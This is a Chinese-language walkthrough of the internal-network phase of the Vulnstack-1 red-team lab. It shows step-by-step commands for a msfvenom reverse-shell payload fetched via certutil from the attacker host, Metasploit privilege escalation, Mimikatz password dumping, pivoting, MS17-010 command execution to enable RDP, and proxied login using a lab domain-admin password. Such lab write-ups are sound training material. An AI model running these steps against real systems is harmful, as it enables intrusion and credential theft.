头图:https://cdn.naraku.cn/imgs/vulnstack/vulnstack1-0.jpg
摘要:主要记录内网靶场Vulnstack-1的内网部分。

漏洞环境为ATT&CK实战系列——红队实战(一),主要记录拿到Shell后再反弹MSF Shell、Mimikatz抓取密码以及登录域控等内网部分。前面漏洞环境搭建及打点等不作记录,可查看参考文章。

环境

  • Kali:192.168.8.128,攻击机
  • Win7:
    • Web服务器,192.168.8.129
    • 域用户stu1.god.org192.168.52.143
  • Win2003:域控制器owa.god.org192.168.52.138

    反弹Shell

  • 攻击机制作木马文件,实际环境中需做免杀

    1. $ msfvenom -p windows/meterpreter_reverse_tcp lhost=<攻击机IP> lport=<攻击机监听端口> -f exe -o win.exe
  • 攻击机利用Python开启HTTP服务

    1. $ python -m SimpleHTTPServer 8080
  • 靶机CMD下载木马文件

    1. $ certutil.exe -urlcache -split -f http://<攻击者IP>:8080/win.exe
  • 攻击机监听端口

    1. $ msfconsole
    2. msf5> use exploit/multi/handler
    3. msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    4. msf5 exploit(multi/handler) > set lhost <攻击者IP>
    5. msf5 exploit(multi/handler) > set lport <攻击机监听端口>
    6. msf5 exploit(multi/handler) > run
    7. [*] Started reverse TCP handler on <攻击者IP>:<攻击机监听端口>
  • 最后在靶机处运行木马

    1. $ win.exe

    Vulnstack1-内网部分 - 图1

  • 此时攻击机即可接收到Shell

Vulnstack1-内网部分 - 图2

  • 提权

    1. meterpreter> getsystem

    Vulnstack1-内网部分 - 图3

  • 抓取Hash

    1. meterpreter> run post/windows/gather/smart_hashdump

    Vulnstack1-内网部分 - 图4

  • 获取Hash不全,下面使用Mimitakz再次抓取

    MSF-Mimikatz

    MSF中自带mimikatz模块(需要Administrator权限或者System权限),且同时支持32位和64位的系统。但是该模块默认是加载32位的系统,若目标主机是64位,直接默认加载该模块会导致很多功能无法使用。

进程迁移

64位系统需要将Meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。并且需要迁移到权限为NT AUTHORITY\SYSTEM的进程,因为进程迁移后meterpreter的权限是迁移进程的权限。

  • 查看靶机位数&进程

    1. meterpreter> sysinfo # 查看位数
    2. meterpreter> ps # 查看进程

    Vulnstack1-内网部分 - 图5

  • 迁移&加载模块

    1. meterpreter> migrate <PID> # 进程迁移
    2. meterpreter> load mimikatz # 加载Mimikatz模块

    Vulnstack1-内网部分 - 图6

    抓取Hash

    1. meterpreter > mimikatz_command -f samdump::hashes

    Vulnstack1-内网部分 - 图7

    抓取明文密码

  • 利用sekurlsa模块下的searchPasswords功能抓取明文密码

    1. meterpreter > mimikatz_command -f sekurlsa::searchPasswords

    Vulnstack1-内网部分 - 图8

    Mimikatz.exe

  • 也可以直接往靶机上传Mimikatz.exe

    1. meterpreter> upload /<path>/mimikatz.exe

    Vulnstack1-内网部分 - 图9

  • 然后查看明文密码

    1. meterpreter> shell
    2. $ mimikatz.exe
    3. mimikatz # privilege::debug
    4. mimikatz # sekurlsa::logonPasswords

    Vulnstack1-内网部分 - 图10

    横向渗透

  • 定位域控

    1. meterpreter> shell
    2. $ net time /domain

    Vulnstack1-内网部分 - 图11

  • 配置路由

    1. meterpreter> run autoroute -s 192.168.52.0/24

    Vulnstack1-内网部分 - 图12

  • 使用NetBIOS协议扫描域网段

    • 扫描到OWA的IP地址为192.168.52.138
    • 其实完整靶场应该还有一台域用户Win2003,这里没开
      1. meterpreter> background # 后台挂起Session
      2. msf5 exploit(multi/handler) > use auxiliary/scanner/netbios/nbname
      3. msf5 auxiliary(scanner/netbios/nbname) > set rhosts 192.168.52.0/24
      4. msf5 auxiliary(scanner/netbios/nbname) > run
      Vulnstack1-内网部分 - 图13

      MS17-010

  • 扫一下MS17-010

    1. meterpreter> background # 后台挂起Session
    2. msf5 auxiliary(scanner/netbios/nbname) > use auxiliary/scanner/smb/smb_ms17_010
    3. msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.52.138
    4. msf5 auxiliary(scanner/smb/smb_ms17_010) > run

    Vulnstack1-内网部分 - 图14

  • 可能存在MS17-010,使用ms17_010_command模块尝试执行系统命令

    1. msf5 auxiliary(scanner/smb/smb_ms17_010)> use auxiliary/admin/smb/ms17_010_command
    2. msf5 auxiliary(admin/smb/ms17_010_command)> set rhosts 192.168.52.138
    3. msf5 auxiliary(admin/smb/ms17_010_command)> set command whoami
    4. msf5 auxiliary(admin/smb/ms17_010_command)> run

    Vulnstack1-内网部分 - 图15

  • 确定存在该漏洞,继续使用ms17_010_command模块开3389端口

    1. msf5 auxiliary(admin/smb/ms17_010_command)> set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
    2. msf5 auxiliary(admin/smb/ms17_010_command)> run

    Vulnstack1-内网部分 - 图16

    远程桌面

  • 使用auxiliary/server/socks4a模块进行代理

    1. msf5 auxiliary(admin/smb/ms17_010_command)> use auxiliary/server/socks4a
    2. msf5 auxiliary(server/socks4a)> set srvhost <攻击机IP>
    3. msf5 auxiliary(server/socks4a)> run

    Vulnstack1-内网部分 - 图17

  • 然后利用终端代理工具Proxychains-Ng进行远程登录,(Proxychains-Ng配置可参考这篇文章),这里还需要修改proxychains.conf配置文件

    1. $ vim /etc/proxychains.conf
    2. socks4 <攻击机IP> 1080

    Vulnstack1-内网部分 - 图18

  • 使用rdesktop命令打开远程桌面,使用前面获取到的域管账号进行登录

    • God\Administratos
    • hongrisec@2019.
      1. $ proxychains rdesktop 192.168.52.138
      Vulnstack1-内网部分 - 图19
      Vulnstack1-内网部分 - 图20

      参考

  • 从外网到域控(vulnstack靶机实战)

  • MSF中mimikatz模块的使用
  • 内网渗透从敲门到入门
  • vulnstack1